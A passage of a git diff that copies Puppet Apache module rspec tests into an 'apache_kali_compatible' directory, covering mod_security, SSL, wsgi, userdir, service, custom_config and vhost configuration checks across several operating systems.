'unique_id_module', + :lib => 'mod_unique_id.so' + ) } + it { should contain_package('modsecurity-crs') } + it { should contain_file('security.conf').with( + :path => '/etc/apache2/mods-available/security.conf' + ) } + it { should contain_file('security.conf') + .with_content(%r{^\s+SecAuditLogRelevantStatus "\^\(\?:5\|4\(\?!04\)\)"$}) + .with_content(%r{^\s+SecAuditLogParts ABIJDEFHZ$}) + .with_content(%r{^\s+SecDebugLog /var/log/apache2/modsec_debug.log$}) + .with_content(%r{^\s+SecAuditLog /var/log/apache2/modsec_audit.log$}) + } + it { should contain_file('/etc/modsecurity').with( + :ensure => 'directory', + :path => '/etc/modsecurity', + :owner => 'root', + :group => 'root', + :mode => '0755', + ) } + it { should contain_file('/etc/modsecurity/activated_rules').with( + :ensure => 'directory', + :path => '/etc/modsecurity/activated_rules', + :owner => 'www-data', + :group => 'www-data' + ) } + it { should contain_file('/etc/modsecurity/security_crs.conf').with( + :path => '/etc/modsecurity/security_crs.conf' + ) } + it { should contain_apache__security__rule_link('base_rules/modsecurity_35_bad_robots.data') } + it { should contain_file('modsecurity_35_bad_robots.data').with( + :path => '/etc/modsecurity/activated_rules/modsecurity_35_bad_robots.data', + :target => '/usr/share/modsecurity-crs/base_rules/modsecurity_35_bad_robots.data', + ) } + + describe 'with parameters' do + let :params do + { + :activated_rules => [ + '/tmp/foo/bar.conf', + ], + :audit_log_relevant_status => "^(?:5|4(?!01|04))", + :audit_log_parts => "ABCDZ", + :secdefaultaction => "deny,status:406,nolog,auditlog", + } + end + it { should contain_file('security.conf').with_content %r{^\s+SecAuditLogRelevantStatus "\^\(\?:5\|4\(\?!01\|04\)\)"$} } + it { should contain_file('security.conf').with_content %r{^\s+SecAuditLogParts ABCDZ$} } + it { should contain_file('/etc/modsecurity/security_crs.conf').with_content %r{^\s*SecDefaultAction "phase:2,deny,status:406,nolog,auditlog"$} } + it { should contain_file('bar.conf').with( + :path => '/etc/modsecurity/activated_rules/bar.conf', + :target => '/tmp/foo/bar.conf', + ) } + end + end + +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/shib_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/shib_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/shib_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/shib_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/speling_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/speling_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/speling_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/speling_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/ssl_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/ssl_spec.rb new file mode 100644 index 000000000..18816bbd9 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/ssl_spec.rb @@ -0,0 +1,293 @@ +require 'spec_helper' + +describe 'apache::mod::ssl', :type => :class do + it_behaves_like "a mod class, without including apache" + context 'on an unsupported OS' do + let :facts do + { + :osfamily => 'Magic', + :operatingsystemrelease => '0', + :concat_basedir => '/dne', + :operatingsystem => 'Magic', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { expect { catalogue }.to raise_error(Puppet::Error, /Unsupported osfamily:/) } + end + + context 'on a RedHat' do + context '6 OS' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.to contain_package('mod_ssl') } + it { is_expected.to contain_file('ssl.conf').with_path('/etc/httpd/conf.d/ssl.conf') } + context 'with a custom package_name parameter' do + let :params do + { :package_name => 'httpd24-mod_ssl' } + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.to contain_package('httpd24-mod_ssl') } + it { is_expected.not_to contain_package('mod_ssl') } + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/cache/mod_ssl/scache\(512000\)"$})} + end + end + context '7 OS with custom directories for PR#1635' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :pre_condition do + "class { 'apache': + confd_dir => '/etc/httpd/conf.puppet.d', + default_mods => false, + default_vhost => false, + mod_dir => '/etc/httpd/conf.modules.puppet.d', + vhost_dir => '/etc/httpd/conf.puppet.d', + }" + end + it { is_expected.to contain_package('mod_ssl') } + it { is_expected.to contain_file('ssl.conf').with_path('/etc/httpd/conf.puppet.d/ssl.conf') } + end + end + + context 'on a Debian OS' do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.not_to contain_package('libapache2-mod-ssl') } + end + + context 'on a FreeBSD OS' do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('ssl') } + end + + context 'on a Gentoo OS' do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/run/ssl_scache\(512000\)"$})} + end + + context 'on a Suse OS' do + let :facts do + { + :osfamily => 'Suse', + :operatingsystem => 'SLES', + :operatingsystemrelease => '12', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('ssl') } + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/lib/apache2/ssl_scache\(512000\)"$})} + end + # Template config doesn't vary by distro + context "on all distros" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystem => 'CentOS', + :operatingsystemrelease => '6', + :kernel => 'Linux', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + context 'not setting ssl_pass_phrase_dialog' do + it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLPassPhraseDialog builtin$/)} + end + + context 'setting ssl_ca to a path' do + let :params do + { + :ssl_ca => '/etc/pki/some/path/ca.crt', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLCACertificateFile/)} + end + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + context 'ssl_compression with default value' do + it { is_expected.not_to contain_file('ssl.conf').with_content(/^ SSLCompression Off$/)} + end + + context 'setting ssl_compression to true' do + let :params do + { + :ssl_compression => true, + } + end + it { is_expected.not_to contain_file('ssl.conf').with_content(/^ SSLCompression On$/)} + end + context 'setting ssl_stapling to true' do + let :params do + { + :ssl_stapling => true, + } + end + it { is_expected.not_to contain_file('ssl.conf').with_content(/^ SSLUseStapling/)} + end + end + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + context 'ssl_compression with default value' do + it { is_expected.not_to contain_file('ssl.conf').with_content(/^ SSLCompression Off$/)} + end + + context 'setting ssl_compression to true' do + let :params do + { + :apache_version => '2.4', + :ssl_compression => true, + } + end + it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLCompression On$/)} + end + context 'setting ssl_stapling to true' do + let :params do + { + :apache_version => '2.4', + :ssl_stapling => true, + } + end + it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLUseStapling On$/)} + end + context 'setting ssl_stapling_return_errors to true' do + let :params do + { + :apache_version => '2.4', + :ssl_stapling_return_errors => true, + } + end + it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLStaplingReturnResponderErrors On$/)} + end + end + + context 'setting ssl_pass_phrase_dialog' do + let :params do + { + :ssl_pass_phrase_dialog => 'exec:/path/to/program', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLPassPhraseDialog exec:\/path\/to\/program$/)} + end + + context 'setting ssl_random_seed_bytes' do + let :params do + { + :ssl_random_seed_bytes => '1024', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLRandomSeed startup file:/dev/urandom 1024$})} + end + + context 'setting ssl_openssl_conf_cmd' do + let :params do + { + :ssl_openssl_conf_cmd => 'DHParameters "foo.pem"', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(/^\s+SSLOpenSSLConfCmd DHParameters "foo.pem"$/)} + end + + context 'setting ssl_mutex' do + let :params do + { + :ssl_mutex => 'posixsem', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLMutex posixsem$})} + end + context 'setting ssl_sessioncache' do + let :params do + { + :ssl_sessioncache => '/tmp/customsessioncache(51200)', + } + end + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/tmp/customsessioncache\(51200\)"$})} + end + context 'setting ssl_proxy_protocol' do + let :params do + { + :ssl_proxy_protocol => [ '-ALL', '+TLSv1'], + } + end + it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLProxyProtocol -ALL \+TLSv1$})} + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/status_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/status_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/status_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/status_spec.rb diff --git a/modules/services/unix/http/apache/spec/classes/mod/suphp_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/suphp_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/suphp_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/suphp_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/userdir_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/userdir_spec.rb new file mode 100644 index 000000000..9f23ba274 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/userdir_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' + +describe 'apache::mod::userdir', :type => :class do + context "on a Debian OS" do + let :pre_condition do + 'class { "apache": + default_mods => false, + mod_dir => "/tmp/junk", + }' + end + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "default parameters" do + it { should compile } + end + context "with dir set to something" do + let :params do + { + :dir => 'hi', + } + end + it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+/home/\*/hi$})} + end + context "with home set to something" do + let :params do + { + :home => '/u', + } + end + it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+/u/\*/public_html$})} + end + context "with path set to something" do + let :params do + { + :path => 'public_html /usr/web http://www.example.com/', + } + end + it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+public_html /usr/web http://www\.example\.com/$})} + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/worker_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/worker_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/worker_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/worker_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/wsgi_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/wsgi_spec.rb new file mode 100644 index 000000000..6261a9590 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/mod/wsgi_spec.rb @@ -0,0 +1,151 @@ +require 'spec_helper' + +describe 'apache::mod::wsgi', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class('apache::mod::wsgi').with( + 'wsgi_socket_prefix' => nil + ) + } + it { is_expected.to contain_package("libapache2-mod-wsgi") } + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class('apache::mod::wsgi').with( + 'wsgi_socket_prefix' => '/var/run/wsgi' + ) + } + it { is_expected.to contain_package("mod_wsgi") } + + describe "with WSGIRestrictEmbedded enabled" do + let :params do + { :wsgi_restrict_embedded => 'On' } + end + it {is_expected.to contain_file('wsgi.conf').with_content(/^ WSGIRestrictEmbedded On$/)} + end + describe "with custom WSGISocketPrefix" do + let :params do + { :wsgi_socket_prefix => 'run/wsgi' } + end + it {is_expected.to contain_file('wsgi.conf').with_content(/^ WSGISocketPrefix run\/wsgi$/)} + end + describe "with custom WSGIPythonHome" do + let :params do + { :wsgi_python_home => '/path/to/virtenv' } + end + it {is_expected.to contain_file('wsgi.conf').with_content(/^ WSGIPythonHome "\/path\/to\/virtenv"$/)} + end + describe "with custom package_name and mod_path" do + let :params do + { + :package_name => 'mod_wsgi_package', + :mod_path => '/foo/bar/baz', + } + end + it { is_expected.to contain_apache__mod('wsgi').with({ + 'package' => 'mod_wsgi_package', + 'path' => '/foo/bar/baz', + }) + } + it { is_expected.to contain_package("mod_wsgi_package") } + it { is_expected.to contain_file('wsgi.load').with_content(%r"LoadModule wsgi_module /foo/bar/baz") } + end + describe "with custom mod_path not containing /" do + let :params do + { + :package_name => 'mod_wsgi_package', + :mod_path => 'wsgi_mod_name.so', + } + end + it { is_expected.to contain_apache__mod('wsgi').with({ + 'path' => 'modules/wsgi_mod_name.so', + 'package' => 'mod_wsgi_package', + }) + } + it { is_expected.to contain_file('wsgi.load').with_content(%r"LoadModule wsgi_module modules/wsgi_mod_name.so") } + + end + describe "with package_name but no mod_path" do + let :params do + { + :mod_path => '/foo/bar/baz', + } + end + it { expect { catalogue }.to raise_error Puppet::Error, /apache::mod::wsgi - both package_name and mod_path must be specified!/ } + end + describe "with mod_path but no package_name" do + let :params do + { + :package_name => '/foo/bar/baz', + } + end + it { expect { catalogue }.to raise_error Puppet::Error, /apache::mod::wsgi - both package_name and mod_path must be specified!/ } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class('apache::mod::wsgi').with( + 'wsgi_socket_prefix' => nil + ) + } + it { is_expected.to contain_package("www/mod_wsgi") } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class('apache::mod::wsgi').with( + 'wsgi_socket_prefix' => nil + ) + } + it { is_expected.to contain_package("www-apache/mod_wsgi") } + end +end diff --git a/modules/services/unix/http/apache/spec/classes/params_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/params_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/params_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/params_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/service_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/service_spec.rb new file mode 100644 index 000000000..a065abc2f --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/service_spec.rb @@ -0,0 +1,157 @@ +require 'spec_helper' + +describe 'apache::service', :type => :class do + let :pre_condition do + 'include apache::params' + end + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_service("httpd").with( + 'name' => 'apache2', + 'ensure' => 'running', + 'enable' => 'true' + ) + } + + context "with $service_name => 'foo'" do + let (:params) {{ :service_name => 'foo' }} + it { is_expected.to contain_service("httpd").with( + 'name' => 'foo' + ) + } + end + + context "with $service_enable => true" do + let (:params) {{ :service_enable => true }} + it { is_expected.to contain_service("httpd").with( + 'name' => 'apache2', + 'ensure' => 'running', + 'enable' => 'true' + ) + } + end + + context "with $service_enable => false" do + let (:params) {{ :service_enable => false }} + it { is_expected.to contain_service("httpd").with( + 'name' => 'apache2', + 'ensure' => 'running', + 'enable' => 'false' + ) + } + end + + context "with $service_ensure => 'running'" do + let (:params) {{ :service_ensure => 'running', }} + it { is_expected.to contain_service("httpd").with( + 'ensure' => 'running', + 'enable' => 'true' + ) + } + end + + context "with $service_ensure => 'stopped'" do + let (:params) {{ :service_ensure => 'stopped', }} + it { is_expected.to contain_service("httpd").with( + 'ensure' => 'stopped', + 'enable' => 'true' + ) + } + end + + context "with $service_ensure => 'UNDEF'" do + let (:params) {{ :service_ensure => 'UNDEF' }} + it { is_expected.to contain_service("httpd").without_ensure } + end + + context "with $service_restart unset" do + it { is_expected.to contain_service("httpd").without_restart } + end + + context "with $service_restart => '/usr/sbin/apachectl graceful'" do + let (:params) {{ :service_restart => '/usr/sbin/apachectl graceful' }} + it { is_expected.to contain_service("httpd").with( + 'restart' => '/usr/sbin/apachectl graceful' + ) + } + end + end + + + context "on a RedHat 5 OS, do not manage service" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '5', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let(:params) do + { + 'service_ensure' => 'running', + 'service_name' => 'httpd', + 'service_manage' => false + } + end + it { is_expected.not_to contain_service('httpd') } + end + + context "on a FreeBSD 5 OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_service("httpd").with( + 'name' => 'apache24', + 'ensure' => 'running', + 'enable' => 'true' + ) + } + end + + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_service("httpd").with( + 'name' => 'apache2', + 'ensure' => 'running', + 'enable' => 'true' + ) + } + end +end diff --git a/modules/services/unix/http/apache/spec/classes/vhosts_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/classes/vhosts_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/vhosts_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/classes/vhosts_spec.rb diff --git a/modules/services/unix/http/apache/spec/defines/balancer_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/balancer_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/balancer_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/defines/balancer_spec.rb diff --git a/modules/services/unix/http/apache/spec/defines/balancermember_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/balancermember_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/balancermember_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/defines/balancermember_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/custom_config_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/custom_config_spec.rb new file mode 100644 index 000000000..5f996fd6d --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/custom_config_spec.rb @@ -0,0 +1,125 @@ +require 'spec_helper' + +describe 'apache::custom_config', :type => :define do + let :pre_condition do + 'class { "apache": }' + end + let :title do + 'rspec' + end + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context 'defaults with content' do + let :params do + { + 'content' => '# Test', + } + end + it { is_expected.to contain_exec("syntax verification for rspec").with({ + 'refreshonly' => 'true', + 'subscribe' => 'File[apache_rspec]', + 'command' => '/usr/sbin/apachectl -t', + 'notify' => 'Class[Apache::Service]', + 'before' => 'Exec[remove rspec if invalid]', + }) + } + it { is_expected.to contain_exec("remove rspec if invalid").with({ + 'unless' => '/usr/sbin/apachectl -t', + 'subscribe' => 'File[apache_rspec]', + 'refreshonly' => 'true', + }) + } + it { is_expected.to contain_file("apache_rspec").with({ + 'ensure' => 'present', + 'content' => '# Test', + 'require' => 'Package[httpd]', + }) + } + end + context 'set everything with source' do + let :params do + { + 'confdir' => '/dne', + 'priority' => '30', + 'source' => 'puppet:///modules/apache/test', + 'verify_command' => '/bin/true', + } + end + it { is_expected.to contain_exec("syntax verification for rspec").with({ + 'command' => '/bin/true', + }) + } + it { is_expected.to contain_exec("remove rspec if invalid").with({ + 'command' => '/bin/rm /dne/30-rspec.conf', + 'unless' => '/bin/true', + }) + } + it { is_expected.to contain_file("apache_rspec").with({ + 'path' => '/dne/30-rspec.conf', + 'ensure' => 'present', + 'source' => 'puppet:///modules/apache/test', + 'require' => 'Package[httpd]', + }) + } + end + context 'verify_config => false' do + let :params do + { + 'content' => '# test', + 'verify_config' => false, + } + end + it { is_expected.to_not contain_exec('syntax verification for rspec') } + it { is_expected.to_not contain_exec('remove rspec if invalid') } + it { is_expected.to contain_file('apache_rspec').with({ + 'notify' => 'Class[Apache::Service]' + }) + } + end + context 'ensure => absent' do + let :params do + { + 'ensure' => 'absent' + } + end + it { is_expected.to_not contain_exec('syntax verification for rspec') } + it { is_expected.to_not contain_exec('remove rspec if invalid') } + it { is_expected.to contain_file('apache_rspec').with({ + 'ensure' => 'absent', + }) + } + end + describe 'validation' do + context 'both content and source' do + let :params do + { + 'content' => 'foo', + 'source' => 'bar', + } + end + it do + expect { + catalogue + }.to raise_error(Puppet::Error, /Only one of \$content and \$source can be specified\./) + end + end + context 'neither content nor source' do + it do + expect { + catalogue + }.to raise_error(Puppet::Error, /One of \$content and \$source must be specified\./) + end + end + end +end diff --git a/modules/services/unix/http/apache/spec/defines/fastcgi_server_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/fastcgi_server_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/fastcgi_server_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/defines/fastcgi_server_spec.rb diff --git a/modules/services/unix/http/apache/spec/defines/mod_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/mod_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/mod_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/defines/mod_spec.rb diff --git a/modules/services/unix/http/apache/spec/defines/modsec_link_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/modsec_link_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/modsec_link_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/defines/modsec_link_spec.rb diff --git a/modules/services/unix/http/apache/spec/defines/vhost_custom_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/vhost_custom_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/vhost_custom_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/defines/vhost_custom_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/vhost_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/vhost_spec.rb new file mode 100644 index 000000000..bb447247b --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/defines/vhost_spec.rb @@ -0,0 +1,1401 @@ +require 'spec_helper' + +describe 'apache::vhost', :type => :define do + let :pre_condition do + 'class { "apache": default_vhost => false, default_mods => false, vhost_enable_dir => "/etc/apache2/sites-enabled"}' + end + let :title do + 'rspec.example.com' + end + let :default_params do + { + :docroot => '/rspec/docroot', + :port => '84', + } + end + describe 'os-dependent items' do + context "on RedHat based systems" do + let :default_facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_class("apache::params") } + end + context "on Debian based systems" do + let :default_facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_concat("25-rspec.example.com.conf").with( + :ensure => 'present', + :path => '/etc/apache2/sites-available/25-rspec.example.com.conf' + ) } + it { is_expected.to contain_file("25-rspec.example.com.conf symlink").with( + :ensure => 'link', + :path => '/etc/apache2/sites-enabled/25-rspec.example.com.conf', + :target => '/etc/apache2/sites-available/25-rspec.example.com.conf' + ) } + end + context "on FreeBSD systems" do + let :default_facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_concat("25-rspec.example.com.conf").with( + :ensure => 'present', + :path => '/usr/local/etc/apache24/Vhosts/25-rspec.example.com.conf' + ) } + end + context "on Gentoo systems" do + let :default_facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + it { is_expected.to contain_class("apache") } + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_concat("25-rspec.example.com.conf").with( + :ensure => 'present', + :path => 